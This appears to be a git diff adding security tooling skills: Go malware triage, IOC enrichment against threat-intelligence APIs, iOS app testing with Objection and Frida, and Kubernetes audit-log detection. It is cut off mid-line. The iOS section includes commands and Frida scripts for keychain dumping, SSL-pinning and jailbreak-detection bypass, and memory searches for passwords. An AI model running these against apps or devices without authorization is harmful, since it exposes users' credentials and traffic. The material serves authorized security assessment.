magic[:4] == b"\x7fELF": + try: + from elftools.elf.elffile import ELFFile + from io import BytesIO + elf = ELFFile(BytesIO(data)) + for section in elf.iter_sections(): + sec_data = section.data() if section.header.sh_size > 0 else b"" + entropy = shannon_entropy(sec_data) if sec_data else 0 + sections.append({ + "name": section.name, "size": section.header.sh_size, + "entropy": round(entropy, 3), "type": section.header.sh_type, + }) + except ImportError: + sections.append({"note": "pyelftools not installed"}) + return sections + + +def detect_obfuscation(go_info, strings_list): + """Detect Go binary obfuscation (garble, gobfuscate).""" + indicators = {"obfuscated": False, "techniques": []} + + # Garble replaces function names with hashes + hash_names = sum(1 for s in strings_list if re.match(r"^[a-f0-9]{16,}$", s)) + if hash_names > 20: + indicators["obfuscated"] = True + indicators["techniques"].append("Possible garble obfuscation (hash-like function names)") + + # Missing gopclntab suggests stripping + if not go_info.get("gopclntab_found"): + indicators["techniques"].append("gopclntab not found - may be stripped or modified") + + # Low runtime string count + if go_info.get("runtime_strings_found", 0) < 2: + indicators["obfuscated"] = True + indicators["techniques"].append("Low Go runtime string count - possible obfuscation") + + return indicators + + +def generate_report(filepath): + """Generate comprehensive Go malware analysis report.""" + report = { + "file": filepath, + "sha256": compute_hash(filepath), + "size": os.path.getsize(filepath), + } + + go_info = detect_go_binary(filepath) + report["go_detection"] = go_info + + if not go_info["is_go_binary"]: + report["conclusion"] = "Not identified as a Go binary" + return report + + strings_list = extract_go_strings(filepath) + report["total_strings"] = len(strings_list) + + packages = extract_go_packages(strings_list) + report["packages"] = packages[:50] + + suspicious = detect_suspicious_packages(packages) + report["suspicious_packages"] = suspicious + + sections = analyze_sections(filepath) + report["sections"] = sections + + obfuscation = detect_obfuscation(go_info, strings_list) + report["obfuscation"] = obfuscation + + return report + + +if __name__ == "__main__": + print("=" * 60) + print("Go Malware Analysis Agent (Ghidra-assisted)") + print("Go binary detection, package extraction, obfuscation detection") + print("=" * 60) + + target = sys.argv[1] if len(sys.argv) > 1 else None + + if not target or not os.path.exists(target): + print("\n[DEMO] Usage: python agent.py ") + sys.exit(0) + + report = generate_report(target) + go = report.get("go_detection", {}) + print(f"\n[*] File: {target}") + print(f"[*] SHA-256: {report['sha256']}") + print(f"[*] Go binary: {go.get('is_go_binary', False)}") + print(f"[*] Go version: {go.get('go_version', 'unknown')}") + print(f"[*] Strings: {report.get('total_strings', 0)}") + + print("\n--- Packages ---") + for pkg in report.get("packages", [])[:15]: + print(f" {pkg}") + + print("\n--- Suspicious Packages ---") + for s in report.get("suspicious_packages", []): + print(f" [!] {s['package']}: {s['concern']}") + + print("\n--- Obfuscation ---") + obf = report.get("obfuscation", {}) + print(f" Obfuscated: {obf.get('obfuscated', False)}") + for t in obf.get("techniques", []): + print(f" {t}") + + print(f"\n{json.dumps(report, indent=2, default=str)}") diff --git a/skills/analyzing-indicators-of-compromise/LICENSE b/skills/analyzing-indicators-of-compromise/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-indicators-of-compromise/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-indicators-of-compromise/references/api-reference.md b/skills/analyzing-indicators-of-compromise/references/api-reference.md new file mode 100644 index 00000000..f460a9ce --- /dev/null +++ b/skills/analyzing-indicators-of-compromise/references/api-reference.md @@ -0,0 +1,120 @@ +# API Reference: IOC Enrichment Tools + +## VirusTotal API v3 + +### File Hash Lookup +```bash +curl -H "x-apikey: $VT_KEY" \ + "https://www.virustotal.com/api/v3/files/" +``` + +### Domain Lookup +```bash +curl -H "x-apikey: $VT_KEY" \ + "https://www.virustotal.com/api/v3/domains/" +``` + +### IP Lookup +```bash +curl -H "x-apikey: $VT_KEY" \ + "https://www.virustotal.com/api/v3/ip_addresses/" +``` + +### Key Response Fields +| Field | Description | +|-------|-------------| +| `last_analysis_stats.malicious` | Number of AV engines detecting as malicious | +| `last_analysis_stats.undetected` | AV engines finding clean | +| `reputation` | Community reputation score | +| `popular_threat_classification` | Threat label consensus | + +### Python (vt-py) +```python +import vt +client = vt.Client("API_KEY") +file_obj = client.get_object(f"/files/{sha256}") +stats = file_obj.last_analysis_stats +client.close() +``` + +## AbuseIPDB API v2 + +### Check IP +```bash +curl -G "https://api.abuseipdb.com/api/v2/check" \ + -H "Key: $ABUSE_KEY" -H "Accept: application/json" \ + -d "ipAddress=1.2.3.4" -d "maxAgeInDays=90" +``` + +### Response Fields +| Field | Description | +|-------|-------------| +| `abuseConfidenceScore` | 0-100 abuse confidence | +| `totalReports` | Report count in timeframe | +| `countryCode` | Source country | +| `isp` | Internet service provider | +| `isTor` | Tor exit node flag | + +## MalwareBazaar API (abuse.ch) + +### Hash Lookup +```bash +curl -X POST "https://mb-api.abuse.ch/api/v1/" \ + -d "query=get_info" -d "hash=" +``` + +### Response Fields +| Field | Description | +|-------|-------------| +| `signature` | Malware family name | +| `tags` | Associated tags | +| `file_type` | File type identification | +| `first_seen` | First submission date | +| `reporter` | Submitting analyst | + +## URLScan.io API + +### Submit URL for Scan +```bash +curl -X POST "https://urlscan.io/api/v1/scan/" \ + -H "API-Key: $KEY" -H "Content-Type: application/json" \ + -d '{"url": "http://suspicious.com", "visibility": "private"}' +``` + +### Retrieve Results +```bash +curl "https://urlscan.io/api/v1/result//" +``` + +## Shodan API + +### IP Lookup +```bash +curl "https://api.shodan.io/shodan/host/?key=$SHODAN_KEY" +``` + +### Response Fields +| Field | Description | +|-------|-------------| +| `ports` | Open ports list | +| `os` | Operating system | +| `org` | Organization | +| `asn` | Autonomous system number | +| `hostnames` | Associated hostnames | + +## IOC Confidence Scoring Framework + +| Score | Disposition | Criteria | +|-------|-------------|----------| +| >= 70 | BLOCK | 15+ VT detections, AbuseIPDB >= 70%, or MalwareBazaar match | +| 40-69 | MONITOR | 5-14 VT detections, moderate abuse score | +| < 40 | INVESTIGATE | Low detection, no campaign attribution | + +## Defanging Convention + +| Original | Defanged | +|----------|----------| +| `http://` | `hxxp://` | +| `https://` | `hxxps://` | +| `.com` | `[.]com` | +| `evil.com` | `evil[.]com` | diff --git a/skills/analyzing-indicators-of-compromise/scripts/agent.py b/skills/analyzing-indicators-of-compromise/scripts/agent.py new file mode 100644 index 00000000..40804fa7 --- /dev/null +++ b/skills/analyzing-indicators-of-compromise/scripts/agent.py @@ -0,0 +1,253 @@ +#!/usr/bin/env python3 +"""IOC analysis and enrichment agent using VirusTotal, AbuseIPDB, and MalwareBazaar APIs.""" + +import re +import os +import sys +import json +import hashlib +import datetime + +try: + import requests + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + + +def classify_ioc(value): + """Classify an IOC by type: ipv4, domain, url, sha256, sha1, md5, email.""" + value = value.strip() + if re.match(r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$", value): + return "ipv4" + if re.match(r"^[a-fA-F0-9]{64}$", value): + return "sha256" + if re.match(r"^[a-fA-F0-9]{40}$", value): + return "sha1" + if re.match(r"^[a-fA-F0-9]{32}$", value): + return "md5" + if re.match(r"^https?://", value): + return "url" + if re.match(r"^[^@]+@[^@]+\.[^@]+$", value): + return "email" + if re.match(r"^[a-zA-Z0-9][a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$", value): + return "domain" + return "unknown" + + +def defang_ioc(value): + """Defang an IOC for safe documentation.""" + value = value.replace("http://", "hxxp://") + value = value.replace("https://", "hxxps://") + value = re.sub(r"\.(?=\w)", "[.]", value) + return value + + +def refang_ioc(value): + """Refang a defanged IOC for querying APIs.""" + value = value.replace("hxxp://", "http://") + value = value.replace("hxxps://", "https://") + value = value.replace("[.]", ".") + value = value.replace("[://]", "://") + return value + + +def is_private_ip(ip): + """Check if an IP is RFC 1918 private.""" + octets = [int(o) for o in ip.split(".")] + if octets[0] == 10: + return True + if octets[0] == 172 and 16 <= octets[1] <= 31: + return True + if octets[0] == 192 and octets[1] == 168: + return True + if octets[0] == 127: + return True + return False + + +def query_virustotal_hash(sha256, api_key): + """Query VirusTotal for a file hash.""" + url = f"https://www.virustotal.com/api/v3/files/{sha256}" + resp = requests.get(url, headers={"x-apikey": api_key}) + if resp.status_code == 200: + data = resp.json().get("data", {}).get("attributes", {}) + stats = data.get("last_analysis_stats", {}) + return { + "sha256": sha256, + "malicious": stats.get("malicious", 0), + "total": sum(stats.values()), + "type_description": data.get("type_description", ""), + "popular_threat_name": data.get("popular_threat_classification", {}).get( + "suggested_threat_label", ""), + "tags": data.get("tags", []), + } + return None + + +def query_virustotal_domain(domain, api_key): + """Query VirusTotal for domain reputation.""" + url = f"https://www.virustotal.com/api/v3/domains/{domain}" + resp = requests.get(url, headers={"x-apikey": api_key}) + if resp.status_code == 200: + data = resp.json().get("data", {}).get("attributes", {}) + stats = data.get("last_analysis_stats", {}) + return { + "domain": domain, + "malicious": stats.get("malicious", 0), + "suspicious": stats.get("suspicious", 0), + "reputation": data.get("reputation", 0), + "registrar": data.get("registrar", ""), + "creation_date": data.get("creation_date", ""), + } + return None + + +def query_abuseipdb(ip, api_key, max_age_days=90): + """Query AbuseIPDB for IP reputation.""" + url = "https://api.abuseipdb.com/api/v2/check" + resp = requests.get(url, headers={"Key": api_key, "Accept": "application/json"}, + params={"ipAddress": ip, "maxAgeInDays": max_age_days}) + if resp.status_code == 200: + data = resp.json().get("data", {}) + return { + "ip": ip, + "abuse_confidence": data.get("abuseConfidenceScore", 0), + "total_reports": data.get("totalReports", 0), + "country": data.get("countryCode", ""), + "isp": data.get("isp", ""), + "domain": data.get("domain", ""), + "is_tor": data.get("isTor", False), + } + return None + + +def query_malwarebazaar(sha256): + """Query MalwareBazaar for file hash information.""" + url = "https://mb-api.abuse.ch/api/v1/" + resp = requests.post(url, data={"query": "get_info", "hash": sha256}) + if resp.status_code == 200: + result = resp.json() + if result.get("query_status") == "ok" and result.get("data"): + entry = result["data"][0] + return { + "sha256": sha256, + "signature": entry.get("signature", ""), + "tags": entry.get("tags", []), + "file_type": entry.get("file_type", ""), + "reporter": entry.get("reporter", ""), + "first_seen": entry.get("first_seen", ""), + } + return None + + +def score_ioc(vt_result=None, abuse_result=None, mb_result=None): + """Assign a confidence score and disposition to an IOC.""" + score = 0 + reasons = [] + if vt_result: + malicious = vt_result.get("malicious", 0) + if malicious >= 15: + score += 40 + reasons.append(f"VT: {malicious} detections (high)") + elif malicious >= 5: + score += 20 + reasons.append(f"VT: {malicious} detections (moderate)") + elif malicious > 0: + score += 5 + reasons.append(f"VT: {malicious} detections (low)") + if abuse_result: + abuse_score = abuse_result.get("abuse_confidence", 0) + if abuse_score >= 70: + score += 30 + reasons.append(f"AbuseIPDB: {abuse_score}% confidence") + elif abuse_score >= 30: + score += 15 + reasons.append(f"AbuseIPDB: {abuse_score}% confidence") + if mb_result: + score += 30 + reasons.append(f"MalwareBazaar: {mb_result.get('signature', 'known malware')}") + + if score >= 70: + disposition = "BLOCK" + elif score >= 40: + disposition = "MONITOR" + else: + disposition = "INVESTIGATE" + + return {"score": score, "disposition": disposition, "reasons": reasons} + + +def enrich_ioc(value, vt_key=None, abuse_key=None): + """Enrich a single IOC with multi-source intelligence.""" + ioc_type = classify_ioc(value) + result = { + "ioc": value, + "type": ioc_type, + "defanged": defang_ioc(value), + "enrichment": {}, + "timestamp": datetime.datetime.utcnow().isoformat() + "Z", + } + if not HAS_REQUESTS: + result["error"] = "requests library not installed" + return result + if ioc_type == "ipv4" and is_private_ip(value): + result["note"] = "RFC 1918 private IP - skipping external enrichment" + return result + if ioc_type in ("sha256", "sha1", "md5") and vt_key: + result["enrichment"]["virustotal"] = query_virustotal_hash(value, vt_key) + result["enrichment"]["malwarebazaar"] = query_malwarebazaar(value) + elif ioc_type == "ipv4": + if abuse_key: + result["enrichment"]["abuseipdb"] = query_abuseipdb(value, abuse_key) + if vt_key: + result["enrichment"]["virustotal"] = query_virustotal_domain(value, vt_key) + elif ioc_type == "domain" and vt_key: + result["enrichment"]["virustotal"] = query_virustotal_domain(value, vt_key) + + scoring = score_ioc( + result["enrichment"].get("virustotal"), + result["enrichment"].get("abuseipdb"), + result["enrichment"].get("malwarebazaar"), + ) + result["score"] = scoring["score"] + result["disposition"] = scoring["disposition"] + result["reasons"] = scoring["reasons"] + return result + + +if __name__ == "__main__": + print("=" * 60) + print("IOC Analysis & Enrichment Agent") + print("VirusTotal, AbuseIPDB, MalwareBazaar integration") + print("=" * 60) + + demo_iocs = [ + "185.220.101.42", + "evil-domain.com", + "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "http://malicious-site.com/payload.exe", + "192.168.1.100", + ] + + print("\n--- IOC Classification & Defanging ---") + for ioc in demo_iocs: + ioc_type = classify_ioc(ioc) + defanged = defang_ioc(ioc) + private = " (private)" if ioc_type == "ipv4" and is_private_ip(ioc) else "" + print(f" {ioc_type:8s} | {defanged}{private}") + + vt_key = os.environ.get("VT_API_KEY") + abuse_key = os.environ.get("ABUSEIPDB_API_KEY") + + if vt_key or abuse_key: + print("\n--- Enrichment (live API queries) ---") + for ioc in demo_iocs: + result = enrich_ioc(ioc, vt_key, abuse_key) + print(f"\n {result['ioc']} ({result['type']})") + print(f" Disposition: {result.get('disposition', 'N/A')} " + f"(score: {result.get('score', 0)})") + for reason in result.get("reasons", []): + print(f" - {reason}") + else: + print("\n[*] Set VT_API_KEY and/or ABUSEIPDB_API_KEY environment variables for live enrichment.") diff --git a/skills/analyzing-ios-app-security-with-objection/LICENSE b/skills/analyzing-ios-app-security-with-objection/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-ios-app-security-with-objection/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-ios-app-security-with-objection/references/api-reference.md b/skills/analyzing-ios-app-security-with-objection/references/api-reference.md new file mode 100644 index 00000000..d77e4fba --- /dev/null +++ b/skills/analyzing-ios-app-security-with-objection/references/api-reference.md @@ -0,0 +1,105 @@ +# API Reference: iOS App Security with Objection + +## Objection CLI + +### Launch +```bash +objection -g com.example.app explore # Attach to running app +objection -g com.example.app explore -s "command" # Run startup command +objection patchipa --source app.ipa # Patch IPA with Frida gadget +``` + +### Keychain & Data Storage +```bash +ios keychain dump # Dump keychain items +ios keychain dump --json # JSON output +ios cookies get # List HTTP cookies +ios nsuserdefaults get # Read NSUserDefaults +ios plist cat Info.plist # Read plist file +``` + +### SSL Pinning +```bash +ios sslpinning disable # Bypass SSL pinning +ios sslpinning disable --quiet # Quiet mode +``` + +### Jailbreak Detection +```bash +ios jailbreak disable # Bypass jailbreak detection +ios jailbreak simulate # Simulate jailbroken device +``` + +### Hooking +```bash +ios hooking list classes # List all classes +ios hooking list classes --include Auth # Filter classes +ios hooking list class_methods ClassName # List methods +ios hooking watch method "-[Class method]" # Watch method calls +ios hooking set return_value "-[Class isJB]" false # Override return +``` + +### Filesystem +```bash +ls / # List app sandbox root +ls /Documents # List Documents directory +file download /path/to/file local.out # Download file +file upload local.file /remote/path # Upload file +``` + +### Memory +```bash +memory dump all dump.bin # Dump all memory +memory search "password" # Search memory for string +memory list modules # List loaded modules +memory list exports libModule.dylib # List module exports +``` + +## Frida CLI + +### Syntax +```bash +frida -U -n AppName # Attach by name +frida -U -f com.app.id # Spawn and attach +frida -U -n AppName -l script.js # Load script +frida-ps -U # List running processes +frida-ls-devices # List connected devices +``` + +### Common Frida Scripts +```javascript +// Hook method and log arguments +ObjC.choose(ObjC.classes.ClassName, { + onMatch: function(instance) { + Interceptor.attach(instance['- methodName:'].implementation, { + onEnter: function(args) { + console.log('arg1:', ObjC.Object(args[2])); + } + }); + }, onComplete: function() {} +}); +``` + +## OWASP Mobile Top 10 (2024) + +| ID | Category | Objection Check | +|----|----------|-----------------| +| M1 | Improper Credential Usage | `ios keychain dump` | +| M2 | Inadequate Supply Chain Security | Binary analysis | +| M3 | Insecure Authentication | Hook auth classes | +| M4 | Insufficient Input/Output Validation | Hook input methods | +| M5 | Insecure Communication | `ios sslpinning disable` | +| M6 | Inadequate Privacy Controls | `ios nsuserdefaults get` | +| M7 | Insufficient Binary Protections | Check PIE, ARC, stack canary | +| M8 | Security Misconfiguration | `ios plist cat Info.plist` | +| M9 | Insecure Data Storage | Filesystem + keychain review | +| M10 | Insufficient Cryptography | Hook crypto classes | + +## iOS App Sandbox Paths +| Path | Contents | +|------|----------| +| `/Documents` | User-generated data | +| `/Library/Caches` | Cached data | +| `/Library/Preferences` | Plist settings | +| `/tmp` | Temporary files | +| `/Library/Cookies` | Cookie storage | diff --git a/skills/analyzing-ios-app-security-with-objection/scripts/agent.py b/skills/analyzing-ios-app-security-with-objection/scripts/agent.py new file mode 100644 index 00000000..69d9b5b6 --- /dev/null +++ b/skills/analyzing-ios-app-security-with-objection/scripts/agent.py @@ -0,0 +1,213 @@ +#!/usr/bin/env python3 +"""iOS app security analysis agent using Objection/Frida concepts. + +Performs runtime security assessment of iOS apps including SSL pinning bypass, +keychain dumping, filesystem inspection, and jailbreak detection bypass. +""" + +import subprocess +import json +import os +import sys +import re + + +def run_objection(command, app_id=None, timeout=30): + """Execute an Objection command against a target app.""" + cmd = ["objection"] + if app_id: + cmd.extend(["-g", app_id]) + cmd.extend(["explore", "-c", command]) + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) + return result.stdout, result.returncode + except FileNotFoundError: + return "objection not installed (pip install objection)", 1 + except subprocess.TimeoutExpired: + return "Command timed out", 1 + + +def run_frida(script_code, app_id, timeout=30): + """Execute a Frida script against target app.""" + cmd = ["frida", "-U", "-n", app_id, "-e", script_code] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) + return result.stdout, result.returncode + except FileNotFoundError: + return "frida not installed (pip install frida-tools)", 1 + except subprocess.TimeoutExpired: + return "Command timed out", 1 + + +def dump_keychain(app_id): + """Dump keychain items accessible by the application.""" + return run_objection("ios keychain dump", app_id) + + +def dump_cookies(app_id): + """Dump HTTP cookies stored by the application.""" + return run_objection("ios cookies get", app_id) + + +def list_classes(app_id, filter_str=None): + """List Objective-C classes loaded in the app.""" + cmd = "ios hooking list classes" + if filter_str: + cmd += f" --include {filter_str}" + return run_objection(cmd, app_id) + + +def check_ssl_pinning(app_id): + """Check and bypass SSL certificate pinning.""" + return run_objection("ios sslpinning disable", app_id) + + +def check_jailbreak_detection(app_id): + """Check for and bypass jailbreak detection.""" + return run_objection("ios jailbreak disable", app_id) + + +def inspect_filesystem(app_id, path="/"): + """Inspect the application's filesystem sandbox.""" + return run_objection(f"ls {path}", app_id) + + +def dump_plist(app_id): + """Dump application plist configuration files.""" + return run_objection("ios plist cat Info.plist", app_id) + + +def check_pasteboard(app_id): + """Check pasteboard/clipboard for sensitive data.""" + return run_objection("ios pasteboard monitor", app_id) + + +def search_binary_strings(app_id, pattern): + """Search for strings in the app binary.""" + return run_objection(f"memory search '{pattern}'", app_id) + + +OWASP_MOBILE_CHECKS = { + "M1_Improper_Platform_Usage": { + "checks": ["ios keychain dump", "ios plist cat Info.plist"], + "description": "Check for misuse of platform security features", + }, + "M2_Insecure_Data_Storage": { + "checks": ["ios keychain dump", "ios cookies get", "ios nsuserdefaults get"], + "description": "Check for sensitive data in insecure storage", + }, + "M3_Insecure_Communication": { + "checks": ["ios sslpinning disable"], + "description": "Test SSL/TLS implementation and certificate pinning", + }, + "M4_Insecure_Authentication": { + "checks": ["ios hooking list classes --include Auth", + "ios hooking list classes --include Login"], + "description": "Analyze authentication mechanisms", + }, + "M5_Insufficient_Cryptography": { + "checks": ["ios hooking list classes --include Crypto", + "ios hooking list classes --include AES"], + "description": "Review cryptographic implementations", + }, + "M8_Code_Tampering": { + "checks": ["ios jailbreak disable"], + "description": "Test runtime integrity and jailbreak detection", + }, + "M9_Reverse_Engineering": { + "checks": ["ios hooking list classes"], + "description": "Assess reverse engineering protections", + }, +} + + +def run_owasp_assessment(app_id): + """Run OWASP Mobile Top 10 security checks.""" + results = {} + for category, config in OWASP_MOBILE_CHECKS.items(): + category_results = {"description": config["description"], "findings": []} + for check in config["checks"]: + output, rc = run_objection(check, app_id) + category_results["findings"].append({ + "command": check, + "status": "success" if rc == 0 else "failed", + "output_preview": output[:200] if output else "", + }) + results[category] = category_results + return results + + +FRIDA_SCRIPTS = { + "ssl_pinning_bypass": """ +ObjC.choose(ObjC.classes.NSURLSessionConfiguration, { + onMatch: function(instance) { + instance['- setTLSMinimumSupportedProtocol:'](0); + }, onComplete: function() {} +}); +""", + "jailbreak_bypass": """ +var paths = ['/Applications/Cydia.app', '/usr/sbin/sshd', '/etc/apt']; +Interceptor.attach(ObjC.classes.NSFileManager['- fileExistsAtPath:'].implementation, { + onEnter: function(args) { this.path = ObjC.Object(args[2]).toString(); }, + onLeave: function(retval) { + if (paths.some(p => this.path.includes(p))) retval.replace(0); + } +}); +""", + "keychain_dump": """ +var kSecClass = ObjC.classes.__NSDictionary.dictionaryWithObject_forKey_( + ObjC.classes.__NSCFConstantString.alloc().initWithUTF8String_('genp'), + ObjC.classes.__NSCFConstantString.alloc().initWithUTF8String_('class') +); +console.log('Keychain query prepared'); +""", +} + + +def generate_report(app_id, assessment_results): + """Generate iOS security assessment report.""" + findings_count = sum( + len(cat["findings"]) for cat in assessment_results.values() + ) + return { + "app_identifier": app_id, + "assessment_framework": "OWASP Mobile Top 10", + "categories_tested": len(assessment_results), + "total_checks": findings_count, + "results": assessment_results, + } + + +if __name__ == "__main__": + print("=" * 60) + print("iOS App Security Analysis Agent (Objection/Frida)") + print("Runtime analysis, SSL bypass, keychain dump, OWASP checks") + print("=" * 60) + + app_id = sys.argv[1] if len(sys.argv) > 1 else None + + if not app_id: + print("\n[DEMO] Usage: python agent.py ") + print(" e.g. python agent.py com.example.app") + print("\nAvailable checks:") + for category, config in OWASP_MOBILE_CHECKS.items(): + print(f" {category}: {config['description']}") + print("\nFrida scripts available:") + for name in FRIDA_SCRIPTS: + print(f" {name}") + sys.exit(0) + + print(f"\n[*] Target: {app_id}") + print("[*] Running OWASP Mobile Top 10 assessment...") + + results = run_owasp_assessment(app_id) + report = generate_report(app_id, results) + + for category, data in results.items(): + status_counts = {"success": 0, "failed": 0} + for f in data["findings"]: + status_counts[f["status"]] += 1 + print(f"\n [{category}] {data['description']}") + print(f" Checks: {status_counts['success']} passed, {status_counts['failed']} failed") + + print(f"\n{json.dumps(report, indent=2, default=str)}") diff --git a/skills/analyzing-kubernetes-audit-logs/LICENSE b/skills/analyzing-kubernetes-audit-logs/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-kubernetes-audit-logs/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-kubernetes-audit-logs/SKILL.md b/skills/analyzing-kubernetes-audit-logs/SKILL.md new file mode 100644 index 00000000..23808e4c --- /dev/null +++ b/skills/analyzing-kubernetes-audit-logs/SKILL.md @@ -0,0 +1,43 @@ +--- +name: analyzing-kubernetes-audit-logs +description: > + Parses Kubernetes API server audit logs (JSON lines) to detect exec-into-pod, secret + access, RBAC modifications, privileged pod creation, and anonymous API access. Builds + threat detection rules from audit event patterns. Use when investigating Kubernetes + cluster compromise or building k8s-specific SIEM detection rules. +--- + +# Analyzing Kubernetes Audit Logs + +## Instructions + +Parse Kubernetes audit log files (JSON lines format) to detect security-relevant +events including unauthorized access, privilege escalation, and data exfiltration. + +```python +import json + +with open("/var/log/kubernetes/audit.log") as f: + for line in f: + event = json.loads(line) + verb = event.get("verb") + resource = event.get("objectRef", {}).get("resource") + user = event.get("user", {}).get("username") + if verb == "create" and resource == "pods/exec": + print(f"Pod exec by {user}") +``` + +Key events to detect: +1. pods/exec and pods/attach (shell into containers) +2. secrets access (get/list/watch) +3. clusterrolebindings creation (RBAC escalation) +4. Privileged pod creation +5. Anonymous or system:unauthenticated access + +## Examples + +```python +# Detect secret enumeration +if verb in ("get", "list") and resource == "secrets": + print(f"Secret access: {user} -> {event['objectRef'].get('name')}") +``` diff --git a/skills/analyzing-kubernetes-audit-logs/references/api-reference.md b/skills/analyzing-kubernetes-audit-logs/references/api-reference.md new file mode 100644 index 00000000..334701b6 --- /dev/null +++ b/skills/analyzing-kubernetes-audit-logs/references/api-reference.md @@ -0,0 +1,57 @@ +# API Reference: Analyzing Kubernetes Audit Logs + +## Audit Log Format (JSON Lines) + +```json +{ + "kind": "Event", + "apiVersion": "audit.k8s.io/v1", + "level": "RequestResponse", + "verb": "create", + "user": {"username": "admin", "groups": ["system:masters"]}, + "sourceIPs": ["10.0.0.5"], + "objectRef": { + "resource": "pods", + "subresource": "exec", + "namespace": "default", + "name": "web-pod" + }, + "responseStatus": {"code": 200}, + "requestReceivedTimestamp": "2025-03-15T14:00:00Z" +} +``` + +## Security-Critical Audit Events + +| Event | objectRef | Severity | +|-------|-----------|----------| +| Pod exec | `resource: pods, subresource: exec` | HIGH | +| Secret access | `resource: secrets, verb: get/list` | HIGH | +| RBAC change | `resource: clusterrolebindings` | CRITICAL | +| Privileged pod | `requestObject.spec.containers[].securityContext.privileged` | CRITICAL | +| Anonymous access | `user.username: system:anonymous` | CRITICAL | + +## Audit Policy Levels + +| Level | Captures | +|-------|----------| +| None | No logging | +| Metadata | Timestamp, user, verb, resource | +| Request | Metadata + request body | +| RequestResponse | Request + response body | + +## Python Parsing + +```python +import json +with open("audit.log") as f: + for line in f: + event = json.loads(line) + print(event["verb"], event["objectRef"]["resource"]) +``` + +### References + +- K8s Auditing: https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/ +- Audit policy: https://kubernetes.io/docs/reference/config-api/apiserver-audit.v1/ +- Datadog k8s audit: https://www.datadoghq.com/blog/monitor-kubernetes-audit-logs/ diff --git a/skills/analyzing-kubernetes-audit-logs/scripts/agent.py b/skills/analyzing-kubernetes-audit-logs/scripts/agent.py new file mode 100644 index 00000000..60450e99 --- /dev/null +++ b/skills/analyzing-kubernetes-audit-logs/scripts/agent.py @@ -0,0 +1,202 @@ +#!/usr/bin/env python3 +"""Agent for analyzing Kubernetes audit logs for security threats.""" + +import os +import json +import argparse +from collections import defaultdict +from datetime import datetime + + +def parse_audit_log(log_path): + """Parse Kubernetes audit log file (JSON lines format).""" + events = [] + with open(log_path) as f: + for line in f: + line = line.strip() + if not line: + continue + try: + events.append(json.loads(line)) + except json.JSONDecodeError: + continue + return events + + +def detect_pod_exec(events): + """Detect kubectl exec and attach events (shell access to pods).""" + findings = [] + for event in events: + obj_ref = event.get("objectRef", {}) + subresource = obj_ref.get("subresource", "") + if subresource in ("exec", "attach"): + findings.append({ + "timestamp": event.get("requestReceivedTimestamp", ""), + "user": event.get("user", {}).get("username", ""), + "groups": event.get("user", {}).get("groups", []), + "verb": event.get("verb", ""), + "namespace": 